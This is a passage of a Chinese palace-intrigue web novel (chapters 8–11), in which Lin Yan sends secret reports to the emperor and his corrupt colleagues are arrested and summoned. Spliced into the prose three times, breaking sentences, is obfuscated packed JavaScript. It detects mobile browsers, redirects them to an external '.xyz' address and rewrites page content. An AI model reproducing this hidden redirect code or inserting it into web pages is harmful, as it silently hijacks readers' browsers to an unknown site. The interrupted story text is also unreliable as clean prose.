皇宫,太仪殿侧殿暖阁。 萧彻刚批完一摞奏章,正靠在软榻上闭目养神。 李德福轻手轻脚地端上一盏新沏的热茶。 就在茶盏放到小几上的瞬间,萧彻的唇角,极其突兀地向上弯起了一个明显的弧度,喉间甚至溢出一声短促的、仿佛被逗乐了的低哼。 “噗……”紧接着,他像是被什么呛了一下,猛地睁开眼,手握成拳抵在唇边,肩膀微微耸动,似乎在极力压抑着什么。 李德福吓了一跳,差点把茶盘扔了:“陛……陛下?您怎么了?可是茶水太烫?还是龙体不适?” 他紧张地凑近,看着陛下那副忍俊不禁又似乎呛到的模样,满头雾水。 萧彻摆了摆手,好不容易才止住那股笑意和呛咳感,端起李德福刚放下的热茶,慢悠悠地啜了一口,眼神望向窗外沉沉的夜色,仿佛穿透了重重宫墙,落在了某个正对着食盒怀疑人生的年轻官员身上。 “无事。”萧彻的声音带着一丝不易察觉的笑意残留,听起来轻松愉悦,“朕高兴。” 李德福:“……” 陛下您这高兴得有点突然啊? 他看着陛下那副明显心情极好,却又透着点难以言说的促狭的表情,心里那个问号,简直比林砚抱着的食盒还要大。 陛下这到底是……高兴什么呢? 8. 第 8 章 灰蒙蒙的天光艰难地刺破云层。 林砚把自己挪进礼部祠部司公廨,刚瘫进那张嘎吱作响的木椅,公文山的阴影尚未完全笼罩,一道阴恻恻的目光便粘在了他后颈上。 不用回头,林砚也知道是谁。 郑经。 这厮正缩在他自己的角落,时不时撩起眼皮,朝他这边剜上一眼,那眼神,像淬了毒的针,又像饿狼盯着抢了它骨头的狗,嘴里还无意识地磨着牙,发出细微的“咯吱”声,腮帮子一鼓一鼓。 这是没巴结上刑部那位岳父大人,把账记我头上了? 大清早搁这儿磨牙,不知道的还以为礼部进了老鼠。 磨,使劲磨,牙磨碎了正好省得吃饭,给你家省点口粮。 林砚懒得搭理,拎出一个深色木盒,盒身朴实无华,却自带一股低调的矜贵气息——正是昨夜金九送来的御赐点心盒。 “啪嗒”一声轻响,盒盖掀开。 那股清甜馥郁、层次丰富的点心香气,如同无形的冲击波,瞬间在沉闷的公廨里炸开。 原本各自埋头于案牍,或真忙或假忙的祠部司同僚,动作都顿了一下。几道目光不受控制地瞟向林砚的案头。 就连慢悠悠给墨锭做临终关怀的王主事,研磨的动作都停滞了半拍。 林砚恍若未觉,慢条斯理地拿起一块做成玉兔形状的奶糕,指尖传来微凉的细腻触感。 他端详片刻,仿佛在欣赏一件艺术品,然后才斯文地送入口中。 奶香浓郁,口感绵密柔滑,甜度恰到好处,瞬间抚平了早起带来的一点烦躁。 嗯,就是这个味儿。 御厨的手艺,果然不一般。 精神损失费就该是这个标准。 林砚吃得专注而享受,每一口都细细品味,完全无视了角落里那道几乎要喷出火来的视线。 郑经的脸已经黑得像锅底,牙齿磨得越发响亮。 他死死盯着林砚那副悠闲享受的模样,再看看自己桌上那干巴巴、硬邦邦的炊饼,只觉得一股邪火直冲天灵盖。 凭什么?!凭什么他林砚就能吃那么好的点心?凭什么他就能这么悠闲?自己巴结个主事岳父还碰了一鼻子灰! 林砚吃得坦坦荡荡,甚至带着点刻意的悠闲,仿佛在无声宣告:之前分你们点家里的吃食,是情分,这御赐的玩意儿?想都别想,门儿都没有。 整个上午,公廨的气氛都透着一种诡异的安静,只有林砚偶尔打开食盒取点心的轻微声响,和郑经那边压抑不住的磨牙声,交织成一首奇特的背景音。 林砚处理着那些狗屁不通的文书,效率竟意外地高了些——大概是美食带来的短暂慰藉。 午时刚到,公廨里便弥漫开饭菜的香气。小吏们提着食盒穿梭,给各位大人送来各自的份例午饭。 林砚也端着自己的托盘找了个角落坐下。 两荤一素一汤,还算过得去。 他刚拿起筷子,准备祭奠自己的五脏庙,公廨厚重的大门被人猛地从外面推开,发出沉闷的巨响。 脚步声沉重而整齐,带着金属甲叶摩擦的冰冷声响,瞬间盖过了所有碗筷碰撞和咀嚼的声音。 所有人愕然抬头。 只见四名身披玄甲、腰挎长刀的禁军士兵,如同四尊铁塔,面无表情地闯了进来。 他们目光如电,瞬间锁定了角落里正夹起一块肥肉往嘴里送的郑经。 为首的小队长手按刀柄,声音洪亮得震得房梁落灰:“礼部祠部司主事郑经?” 郑经嘴里塞着肉,腮帮子鼓囊囊,茫然又惊恐地抬头,筷子“啪嗒”掉在桌上:“是、是下官?” “拿下!”小队长毫无废话,大手一挥。 两名禁军士兵立刻扑上,一左一右,铁钳般的大手瞬间扣住郑经的肩膀,将他从凳子上硬生生提溜起来。 “啊!你们干什么?!”郑经吓得魂飞魄散,嘴里的肉沫喷了出来,拼命挣扎,“放肆!我是朝廷命官!” 一块不知从哪里摸出来的、脏兮兮的破布团,精准地塞进了他大张的嘴里,把他后面所有的叫嚣和靠山名号都堵了回去,只剩下一连串惊恐绝望的“呜呜”声。 “抓的就是你这个朝廷命官。” 禁军士兵动作麻利,反剪郑经双臂,用牛筋绳捆了个结实,整个过程快如闪电,不过几个呼吸间,刚才还坐在那里磨牙瞪眼的郑主事,就变成了一个被堵着嘴、捆成粽子、面无人色的阶下囚。 小队长冷冷扫了一眼噤若寒蝉的众人,一挥手:“带走!” 铁甲铿锵,禁军士兵像拖死狗一样,把兀自挣扎呜咽的郑经拖出了公廨大门,沉重的脚步声远去,留下死一般的寂静和满室饭菜的余温。 公廨里,落针可闻。 所有人都僵在原地,端着碗的,拿着筷子的,嘴里的饭忘了嚼的,脸上统一写着巨大的问号和惊惧。 “这怎么回事?”一个年轻的书办声音发颤。 “郑主事他犯什么事了?竟劳动禁军来抓人?” “天爷……这是捅破天了吧?” 低低的议论声如同水波般迅速蔓延开来,恐惧和猜测在每个人眼中交织。 林砚慢慢放下手中的筷子,端起旁边的汤碗,低头喝了一口,温热的汤水滑入喉咙。 效率真高。 看来昨天的密报,陛下收到了。 他抬眼,目光平静地扫过周围那些惊惶不安的同僚,最后落在郑经那张空荡荡、连凳子都翻倒在地的案几上。 跟谁对着干,也不能跟皇帝对着干。 汤碗里的热气氤氲上来,模糊了林砚眼中一闪而过的了然。 …… 金九的身影如同融入阴影的鬼魅,悄无声息地回到御书房。 他躬身,声音压得极低,却字字清晰:“陛下,郑经已拿下,连同其背后牵扯出的户部两名员外郎、一名吏部考功司主事,均押入刑部大牢,由刑部尚书亲自督办。” 萧彻正批阅着一份奏折,闻言笔锋未停,只淡淡“嗯”了一声,仿佛只是拍死了一只扰人的苍蝇。 金九顿了顿,继续道:“属下在礼部祠部司外观察多时,林大人……一切如常,郑经被拖走前,林大人正慢条斯理地用着陛下赐的点心。” 他描述得极为精准,甚至带上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434138|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林砚那份刻意营造的悠闲:“当着郑经的面,一块玉兔奶糕,吃得甚是仔细,连指尖沾的一点碎屑都捻了。” 笔锋终于悬停。 萧彻抬起头,锐利的凤眸中掠过一丝极其鲜明的兴味,唇角甚至不受控制地向上弯起一个细微的弧度。 那笑容,如同寒潭深处投入一颗石子,漾开的是冰冷的涟漪,却带着点孩子气的顽劣。 “哦?”他尾音微扬,带着点玩味,“吃得仔细?连碎屑都不放过?” 还挺馋嘴。 萧彻觉得心头那点被朝堂琐事淤积的烦闷,瞬间被这生动的一幕驱散了不少,放下朱笔,身体微微后靠,目光在金九脸上扫过:“他倒是一点没被吓着?” “回陛下,林大人气定神闲,处理公务如常,午膳也用得安稳,郑经被拖走时,他……在喝汤。”金九如实禀报。 “呵。”一声轻笑从萧彻喉间溢出,带着点难以言喻的愉悦。 手指在御案上轻轻敲了两下,那点子兴味越来越浓,几乎要化作实质。 “李德福。”萧彻扬声唤道。 一直侍立在阴影里,眼观鼻鼻观心的司礼监大太监李德福立刻趋步上前,躬身:“老奴在。” 萧彻手指朝着御书房角落那个不起眼的小食盒点了点——正是昨夜装点心给林砚的那种深色木盒。 “传朕口谕。”他语气随意得像在吩咐添杯茶,“以后,每日御膳房新出炉的点心,不拘什么种类,拣那精致可口的,装这么一盒,给礼部祠部司的林砚林员外郎送去。” 李德福:“……” 饶是这位在深宫沉浮数十载、早已练就了泰山崩于前而色不变本事的老太监,此刻也懵了,脸上的皱纹似乎都凝固了一瞬,眼皮不受控制地狠狠跳了几下。 每日?御膳房?给一个六品的祠部司员外郎?! 这恩宠……不,这旨意……未免也太……匪夷所思了。 李德福脑子里瞬间闪过无数念头:不合规矩?逾制?林砚到底做了什么天大的功劳值得陛下如此?还是陛下单纯觉得好玩?后一个念头让他心尖都颤了一下。 他张了张嘴,喉咙有些发干,那句“陛下,这是否……”的疑问几乎要冲口而出,但对上萧彻那双深不见底,此刻却带着点促狭笑意的凤眸,所有的话都硬生生噎了回去。 多年伴君的经验告诉他,此刻的陛下,心意已决,且心情不错,这种“不错”往往带着点不容置疑的任性。 “是,老奴遵旨。”李德福深深弯下腰,领下了这个顶着巨大问号的任务。 他已经在心里飞快地盘算着:怎么安排人手,怎么避开耳目,怎么让这份“每日恩典”显得不那么扎眼又足够体现“圣意”……这差事,可比伺候陛下用膳难多了。 “嗯。”萧彻满意地颔首,重新拿起了朱笔,目光落回奏折上,只是那嘴角噙着的笑意,久久未散。 他几乎有点期待了。 期待明日,后日,往后的每一日,当那个装着御膳房最新鲜点心的木盒,准时出现在林砚那堆满狗屁文书的案头时,那个看似平和,实则浑身是刺的小员外郎,会是什么表情? 9. 第 9 章 郑经那张空荡荡的案几,像被拔了根的杂草,突兀地杵在公廨角落,翻倒的凳子还维持着主人被拖走时的狼狈姿态。 空气里弥漫着死寂,饭菜的余香混合着未散的惊惧,沉甸甸地压在每个人心头。 没人说话。 几个主事眼神乱飘,互相瞄着,嘴唇无声地开合,又迅速抿紧。 慢悠悠磨墨的王主事,手里那锭墨早被捏得变了形,指节泛白。 年轻的书办脸色煞白,端着碗的手抖得厉害,汤汁洒湿了前襟也浑然不觉。 林砚慢条斯理地咽下最后一口温热的汤,放下碗,陶瓷磕碰木托盘的轻响在寂静中格外清晰。 他拿出帕子擦了擦嘴,动作平稳,连眼皮都没多抬一下,仿佛刚才上演的只是一出无关紧要的默剧。 林砚起身,走回自己那座公文垃圾山后,坐下,铺开一张新的素笺,提笔蘸墨。 【辰时正刻,礼部祠部司公廨,禁军四人入,甲胄齐整,持械,为首者问名,郑经应,未待其言毕,即被执,塞口,缚臂,拖曳而出,其状甚狼狈,同僚皆惊骇,有书办箸落汤洒,王主事墨锭变形,余人惶惶,私语窃窃,郑经所遗案牍散乱,度牒名籍等物混杂其中,显系其昨日欲强求职加盖祠部司印者,职观其物,印鉴模糊依旧,疑窦未消,公廨内气氛凝滞,众人噤若寒蝉。】 他写得很慢,力求客观详实。郑经被拖走时众人的反应,那些惊惶的面孔,恐惧的私语,僵硬的肢体,乃至翻倒的凳子和散落一地的文书,都一一落在纸上。 做完这些,林砚才感觉胸口那口浊气彻底呼了出来。 他抬眼,目光平静地扫过公廨。 那些偷偷窥探的视线,一碰到他的目光,立刻触电般缩了回去,只剩下更加紧绷的沉默。 林砚低下头,继续处理案头堆积如山的文书,笔尖划过纸面,沙沙作响,是公廨里唯一规律的声音。 不知过了多久,公廨沉重的大门再次被推开。 这一次,进来的不是凶神恶煞的禁军,而是一个穿着浅青色官袍的年轻人。 他身形颀长,面容端正,算不上多出挑,但眉眼间透着一股干净的书卷气,脚步很稳,走到郑经那张空案几前站定,对着满屋子惊魂未定的同僚,规规矩矩地拱手作了个揖。 “下官谢明远,新任祠部司主事,今日履任。”声音不高,带着点初来乍到的拘谨,但吐字清晰,“日后还请诸位大人多多指教。” 公廨里凝固的空气似乎松动了一丝。 郑经不管和他们相处了多久都已经是过去,此时也不是为郑经感叹的时候,所以只一瞬,大家就像什么都没有发生过似的,欢迎起新人来。 林砚略一挑眉,没想到郑经才被押走,新人就来了,看来陛下办事很讲究效率。 “谢主事,欢迎。”林砚友好地朝谢明远笑笑,不过没有多热络,他怕又是一个废物同事。 谢明远似乎并不在意这冷淡的欢迎,他放下随身携带的一个半旧青布包袱,默默开始收拾那张狼藉的案几。 动作利落,先将翻倒的凳子扶正摆好,接着有条不紊地归拢散落一地的卷宗和纸张,还不忘将公文分门别类放好。 林砚悄悄观察了一番,此人看着应当是比郑经靠谱的。 谢明远收拾停当,很快便进入了状态,主动走到林砚案前,态度谦和:“林大人,下官初来,于司务尚不熟悉,观大人案牍繁重,若有下官力所能及之事,但请吩咐。” 林砚正被一份公文弄得头昏脑涨,闻言抬起头,看着谢明远那双认真的眼睛,心头那点死水般的麻木竟泛起一丝微澜。 天呐,他终于有知道主动干活的同事了? 想了想,林砚从公文山深处抽出一份不算太紧要的卷宗,是关于明年春祀各地进献祥瑞名目的初步整理清单,需要按规制分门别类,核对有无逾制或重复,这活儿繁琐细致,但不需要太多经验,正好给新人练手。 “谢主事来得正好。”林砚将卷宗递过去,“此乃明年春祀各地拟进祥瑞名录,烦请谢主事按嘉禾、异兽、灵禽、奇石四类先行整理归档,并核对其描述是否逾制,若有疑义,再行标注。” 谢明远双手接过卷宗,没有丝毫推诿或犹豫:“下官领命,必当仔细办理。” 拿着卷宗回到自己位置,谢明远坐下便埋头翻阅起来,神情专注,提笔蘸墨的动作也干净利落。 林砚收回目光,继续对付他的工作,然而,眼角余光却不由自主地留意着谢明远那边。 会干活的同事,真好。 谢明远翻阅卷宗的速度不疾不徐,落笔却极稳,时而凝眉细看,时而提笔在纸上快速标注,遇到不确定之处,并未贸然下笔,而是先在一旁的废纸上写下疑问,待积累几处后,才起身走到林砚案前,轻声请教。 “林大人,此卷江宁府进献七彩锦鸡一对,描述其尾羽流光,鸣声若磬,下官查《祥瑞录》,锦鸡属灵禽,然七彩之谓是否略有溢美之嫌?是否需向江宁府行文核实具体形貌?” 林砚一怔,接过谢明远标注好的疑问点扫了一眼。 这问题提得精准,七彩锦鸡?听着就浮夸。 林砚点点头:“谢主事思虑周全,此疑点标注得宜,稍后我会一并处理。” “谢大人指点。”谢明远得了肯定,并无得意之色,又提出下一个疑问,同样切中要害。 林砚一一解答,不过一个多时辰,谢明远将那份名录整理得井井有条。 可能是最近用脑过度,林砚饿得越来越快,还没有到下班的时间肚子就要造反,干脆把食盒拎了出来,里面还有些吃的。 林砚拿起一块做成如意云纹的奶酥,刚咬下一口,浓郁的奶香便在舌尖化开,瞬间熨帖了躁动的肠胃。 他满足地眯了眯眼,这才发现谢明远的目光正落在他手中的点心上。那目光里没有郑经那种淬毒的嫉妒,只有纯粹的好奇。 林砚动作一顿,看看盒子里剩下的几块精致点心,想到也许谢明远赴任匆忙,兴许肚子也饿了,便拿了一块干净的手帕装了点心,送到谢明远案前。 谢明远显然一顿,连忙起身道谢:“多谢林大人。” 林砚摆摆手:“不必客气,我们都是一个公廨的同僚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434139|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此话一出,以王主事为代表的其他人,纷纷向林砚投去诧异的目光。 都是同僚,怎么只见你给谢明远分食,不给我们分? 林砚懒得搭理四面八方的目光,御膳房出品,他才不要给这些人分。 哼。 “林员外郎——哎哟喂,忙着呐?” 武海闵腆着肚子,脸上堆着十成十的“和蔼可亲”,踱着方步走了进来。 他先是目光在谢明远身上溜了一圈,带着点审视的意味,随即又精准地落到林砚身上,仿佛林砚案头那堆摇摇欲坠的公文山是块吸铁石。 林砚放下手中啃了一半的如意云纹奶酥,那香甜的滋味瞬间在嘴里变成了蜡块。 他深吸一口气,压下翻腾的烦躁,勉强挤出一个算得上恭敬的表情,站起身拱手:“武大人。” 武海闵满意地点点头,仿佛没看见林砚眼底深处那点极力压制的火星子。 他走到林砚案前,伸出手指,随意拨弄了一下最上面几份卷宗,仿佛在欣赏自家花园里的花花草草。 “哎呀,林员外郎办事,本官素来是放心的。” 武海闵笑得见牙不见眼,语气亲热得像是拉家常,“这不是快到重阳了嘛,登高、佩茱萸、饮菊花酒,宫里宫外,宗亲勋贵,哪一样不得咱们祠部司操心着?尤其是陛下登高祈福、赐宴群臣的章程,更是重中之重,半点马虎不得啊。” 林砚的心一沉,来了,又来了! 果然,武海闵话锋一转,脸上的“为难”恰到好处地堆叠起来:“唉,本官这几日啊,被那几件棘手的秋祭后账弄得是头昏脑胀,连口水都顾不上喝,这重阳大典的细务,实在是分.身乏术啊。” 武海闵拖长了调子,目光“殷切”地落在林砚脸上,那眼神里的意思再明白不过:你懂的。 林砚只觉得一股邪火“噌”地直冲天灵盖,烧得他眼前都发黑。 他几乎能听到自己后槽牙摩擦发出的细微声响。 又是这样!每次都是这样! 他武海闵是祠部司的郎中!这主持筹备重阳大典本就是他的分内职责!可这厮总能找到无数冠冕堂皇的理由,把最繁琐、最吃力不讨好的核心工作,像丢垃圾一样精准地丢到他这个员外郎头上! 什么“分身乏术”?分明是“甩手有术”! “所以啊,林员外郎,这重阳登高祈福、赐宴群臣的一应具体安排、流程拟定、各衙门协调、物料清单核准、以及呈报礼部、内阁乃至御前的奏本初稿……就劳烦你多费心了!你办事稳妥,心思又细,交给你,本官是一百个放心!回头有什么拿不准的,尽管来问我便是。”轻飘飘地丢下这句毫无意义的空话,仿佛甩掉了一个天大的包袱,武海闵整个人都轻松了几分。 林砚看着武海闵那张写满“器重”和“信任”的脸,心底的咒骂如同沸腾的岩浆,汹涌澎湃,几乎要冲破理智的堤坝。 “下官……遵命,定当竭尽全力,不负大人所托。”每一个字,都是林砚从牙缝里硬生生挤出来的。 武海闵!你爹是吏部尚书了不起啊?! 我敲里爹!敲里爹听见没有?! 10. 第 10 章 你个甩锅仙人!武海闵! 武海闵仿佛完全没接收到林砚内心那足以烧穿地心的怨念射线,甚至还颇为满意地拍了拍林砚的肩膀,力道透着“好好干,下次还找你”的油腻感:“好好好,本官就知道林员外郎靠得住!放手去干,莫要有负担!” 说完,他潇洒地一甩袍袖,迈着六亲不认的步伐,哼着小曲儿,溜达回他那宽敞舒适,堆满了无关紧要杂物的独立小隔间去了。 林砚看着那消失的背影,感觉自己的血压正在向太庙屋顶的鸱吻高度看齐。 他颓然跌坐回那张破木椅,椅子不堪重负地“嘎吱”一声,仿佛也在替主人呻吟。 眼前,是武海闵甩过来,名为“重阳大典”的巨型屎山。 旁边,是他自己原本就堆积如山、还没来得及处理的狗屁文书。 林砚的目光落在谢明远身上,短暂地亮了一下,随即又黯淡下去。 不行。 这活儿太大太烫手,谢明远刚来,业务还不熟,贸然塞给他,万一出点纰漏,谢明远还得跟着他倒霉。 算了算了,还是自己扛吧。 林砚认命地、沉重地、带着一股子风萧萧兮易水寒的悲壮,抽出了重阳大典相关的卷宗。 他深吸一口气,提起笔,开始在这名为“工作”的苦海里艰难泅渡。 酉时三刻,林砚感觉自己像条被榨干了汁水的咸鱼,拖着沉重的步伐挪回林府后巷。 他熟门熟路地摸到老槐树下,从怀里掏出那张叠得方方正正的暗纹纸笺,塞进冰冷的石缝里。 这次的密报,他写得格外用心。 前半段,客观记录了郑经被拖走后公廨内的气氛,以及新主事谢明远的履任表现。 后半段,笔锋一转,开始汇报武海闵的“丰功伟绩”。 【……武郎中统筹全局,事务繁重,因秋祭后账目冗杂,分身乏术,遂将重阳登高祈福、赐宴群臣之一应细务,包括流程拟定、各衙门协调、物料清单核准、奏本初稿等,委于下官办理,言及若有疑难,可向其请示……】 每一个字都挑不出错,充满了对上司“信任”的感激和对工作“勇于承担”的决心。 当林砚的指尖触碰到那冰凉的石壁,将纸笺塞进去的瞬间,他内心那压抑了一整天的洪荒之力终于找到了一个隐秘的宣泄口。 武海闵你个甩锅精!压榨狂!自己钱多事少离家近,天天喝茶看报哼小曲儿,脏活累活全甩给我! 还“若有疑难可请示”?你那张嘴除了叭叭叭画大饼还会干啥?! 林砚双手合十,朝着皇宫的方向拜了拜:英明神武的陛下啊!求求您收了武海闵这压榨下属的贼人吧! 祷告结束,林砚才进家门,直奔饭桌。 皇宫,夜色如墨。 金九的身影无声无息地出现在太仪殿侧殿暖阁外,如同融入阴影的一部分,手中拿着刚从槐树下石缝里取出的密报,恭敬地呈给守在门口的李德福。 李德福接过,轻手轻脚地走进暖阁。 萧彻正斜倚在软榻上,借着明亮的烛光翻阅一本古籍,神情慵懒。 “陛下,金九取了林大人的密报。”李德福躬身,将纸笺呈上。 “嗯。”萧彻眼皮都没抬,随口吩咐,“搁那儿吧。” 李德福依言将密报放在御案一角,正欲退下,却听萧彻又淡淡补了一句:“以后林砚的奏报,不必再行摘录,原样呈给朕便是。” 李德福脚步一顿,心头微震。 原样?陛下这是…… “是,老奴明白。”李德福压下心头的惊异,躬身退下,将旨意传达给阴影中的金九。 金九那张万年不变的脸上,罕见地掠过一丝极淡的茫然。 原样?陛下要看那些流水账般的观察记录?那么多呢。 但他只是略一颔首,身影便再次融入黑暗,仿佛从未出现过。 翌日清晨,太仪殿。 萧彻处理完几份紧急奏章,目光落在了御案一角那份略显厚实的暗纹纸笺上。 他随手拿起,展开。 前半段关于郑经被拖走后众人的反应和谢明远的表现,萧彻看得一目十行,嘴角噙着一丝了然的笑意。 嗯,看来这谢明远倒是个可用之才,不愧是他钦点的人。 目光落到后半段关于武海闵的部分。 【……武郎中统筹全局,事务繁重,因秋祭后账目冗杂,分身乏术,遂将重阳登高祈福、赐宴群臣之一应细务……委于下官办理,言及若有疑难,可向其请示……】 字迹工整,措辞恭谨,挑不出半点错处。 萧彻的指尖在“事务繁重”、“分身乏术”、“委于下官办理”这几个词上轻轻点了点。 他眼前仿佛自动浮现出林砚那表面恭敬温顺,内心却在疯狂骂骂咧咧的场景。 刚想到林砚笑了笑,萧彻很快就敛去了笑意。 武海闵?又是他。 吏部尚书武鸿祯那个不成器的儿子。 这厮在礼部祠部司,名声似乎……不太好? 委于下官办理? 呵。 一股莫名的不爽悄然在萧彻心底升起。 武海闵比林砚更早到礼部,那在林砚没到礼部任职之前,多半是压榨林砚之前的那一任祠部司员外郎帮他干活儿。 既然林砚都告状告得如此分明了,那他也不能当做没看见。 “李德福。” “老奴在。”李德福立刻趋步上前。 “传旨礼部祠部司,除新到任主事谢明远外,所有祠部司官员,即刻入宫。”萧彻把林砚的奏报轻轻放到一边,“朕要好好审审,到底还有谁跟郑经沆瀣一气。” 李德福心头一跳:“是,老奴这就去传旨。” 萧彻端起手边的青玉茶盏,慢悠悠地啜了一口,眼神望向窗外明媚的天光,唇角勾起一个极淡、却带着点恶趣味的弧度。 武海闵是吧? 朕倒要看看,你这统筹全局的郎中,离了林砚这个下官,祠部司还能不能转得动。 礼部祠部司公廨,气氛刚因谢明远的到来稍显缓和。 武海闵正翘着二郎腿,慢悠悠地品着新到的雨前龙井,盘算着晚上去哪个相好那里听曲儿。 林砚则像一头被套上枷锁的老黄牛,吭哧吭哧地跟工作较劲,感觉脑细胞正以肉眼可见的速度阵亡。 突然,公廨进来了一队禁军,禁军之后,正是李德福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434140|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李德福那张极具辨识度的脸出现在门口,身后跟着两名面无表情的小太监。 “圣旨到——”李德福那特有的尖细嗓音响起。 呼啦啦,所有人都像被针扎了屁股,瞬间弹起来,跪倒在地,包括一脸懵逼的武海闵和同样茫然的林砚。 “奉天承运皇帝,诏曰:宣礼部祠部司郎中武海闵、员外郎林砚、主事王俭……即刻入宫,钦此。”李德福的声音在寂静的公廨里回荡。 所有人进宫? 武海闵心头猛地一沉,一股不祥的预感瞬间攫住了他,跪在地上,膝盖冰凉,方才品茶的悠然惬意荡然无存,只剩下心脏擂鼓般的狂跳和一股从脚底板直冲天灵盖的寒意。 陛下宣召整个祠部司?除了那个新来的谢明远? 这分明是冲着郑经的案子来的,是要彻查,是要株连! 他脑子里瞬间闪过无数念头:自己经手过的账目有没有被郑经动过手脚?平时收的那些“孝敬”算不算“沆瀣一气”?哪个下属可能为了自保攀咬自己? 越想越心惊,冷汗瞬间浸透了中衣,额头上豆大的汗珠滚落下来,砸在冰冷的地砖上,晕开一小片深色。 林砚同样惊愕,但更多的是茫然和一丝不易察觉的警惕。 他飞快地思索:自己的奏报难道这么快就起作用了?可陛下召所有人进宫,连他这个“告状”的也要去?这唱的哪一出? 林砚下意识地看了一眼武海闵那副魂飞魄散的怂样,心底那点因工作堆积的怨气竟奇异地消散了些许。 主事王俭等人更是面无人色,跪伏在地抖如落叶,郑经被拖走的惨状还历历在目,如今轮到自己了吗? “诸位大人,请吧。”李德福的声音平静无波,他身后的禁军无声上前一步,手按在刀柄上,无形的压力扑面而来。 皇宫,太仪殿偏殿。 这一行人被径直带到了太仪殿附近。 然而,刚到殿前广场,林砚就被一名面生的内侍客气地拦下了:“林大人请随我来,陛下另有安排。” 林砚一愣,单独安排? 陛下是要见他这个暗卫? 林砚被内侍引着,七拐八绕,最终来到一处安静雅致的侧殿。 殿内窗明几净,熏着清雅的梨香,阳光透过窗棂洒在光洁的地板上。 一张小几上,竟已摆好了几碟精致的点心,还有一盏冒着袅袅热气的雨前龙井,旁边放着一小碗淋着桂花蜜的甜酪。 “林大人请在此稍候,陛下处理完公务,或会召见。”内侍躬身说完,便安静地退了出去,轻轻带上了门。 林砚站在殿中,彻底懵了。 陛下不会把其他人都关起来,唯独自己好吃好喝招待着? 林砚试探着走到小几旁坐下,端起那盏茶,温热的触感透过细腻的瓷壁传来。他抿了一口,清冽甘醇的茶香在口中弥漫开,紧绷的神经竟不由自主地放松了几分。 管他的,有吃有喝还不用泡在公务堆里,挺好。 林砚自问自己没有做不该做的,处罚也轮不到他,便心安理得的在侧殿待着。 倒是另外一边,太仪殿另一侧的一处封闭值房内,气氛与林砚所在的雅致侧殿天壤之别。 11. 第 11 章 武海闵、王俭等七八个祠部司官员被一股脑儿塞进这间不算宽敞的值房。 门窗紧闭,门口守着两名面无表情、手按腰刀的禁军侍卫,如同两尊煞神。 屋内没有座位,所有人只能站着或靠在冰冷的墙壁上。空气沉闷压抑,弥漫着恐惧的汗味和粗重的喘息。 武海闵瘫坐在墙角,面无人色,汗出如浆,绯色官袍皱巴巴地贴在身上,领口被他自己无意识地扯开。 他脑子里一片混乱,一会儿是郑经被拖走时绝望的眼神,一会儿又是自己这些年收受的好处、经手的那些“灵活处理”的公务……每一个念头都像一把钝刀子,在切割他的神经。 “武…、武大人,这、这可如何是好啊?”主事王俭带着哭腔凑过来,声音抖得不成样子,“陛下这是要……要连坐吗?” “闭嘴!慌什么!”武海闵色厉内荏地低吼一声,声音却虚得发飘,“我们……我们又没像郑经那样犯事!”他像是在说服别人,更像是在催眠自己。 “可、可林员外郎怎么……”另一个官员怯怯地开口,眼神里充满了不安的揣测。 “林砚?”武海闵像是被踩了尾巴的猫,猛地拔高了声音,随即又意识到处境,赶紧压低,咬牙切齿道,“他是郑经的直属上司,郑经有问题,陛下不找他找谁?” 一名年轻主办张了张嘴,他想说,武大人您才是祠部司郎中,负责整个祠部司,只是终究没开口。 时间在极度的煎熬中一分一秒地流逝。 值房里没人再说话,只有粗重压抑的呼吸声和偶尔因恐惧而发出的牙齿打颤声。 武海闵感觉自己的膀胱快要爆炸了,但看着门口那两尊煞神,他连开口请求如厕的勇气都没有,只能蜷缩在墙角,身体因恐惧和生理上的不适而微微痉挛,眼神涣散,脑子里只剩下一个念头:爹啊,您可得救救我…… 太仪殿暖阁。 萧彻正慢条斯理地翻看着金吾卫初步审讯郑经的供词,以及吏部送来的祠部司相关官员的档案履历。 李德福垂手侍立在一旁。 “陛下,祠部司除谢明远外,其余人等已到,按您的吩咐,武海闵等人拘在值房,林砚安置在清漪阁侧殿。”李德福低声禀报。 “嗯。”萧彻头也没抬,目光在武海闵那份履历上停留片刻,上面清晰地写着其父是吏部尚书武鸿祯。 他嘴角勾起一抹冷峭的弧度,指尖在那名字上点了点:“让金吾卫的人,拿着郑经的供词和这些档案,去值房一个一个单独问话,重点关照那位武郎中,告诉他们,朕要的是实话,彻彻底底的实话。” “是,老奴明白。”李德福心领神会。 这哪里是问话,分明是攻心为上,施加压力。 尤其是对武海闵这种养尊处优、色厉内荏的纨绔,在这种高压孤立的环境下,面对如狼似虎的金吾卫和指向不明的供词,恐怕用不了多久就会自己把自己吓破胆,竹筒倒豆子。 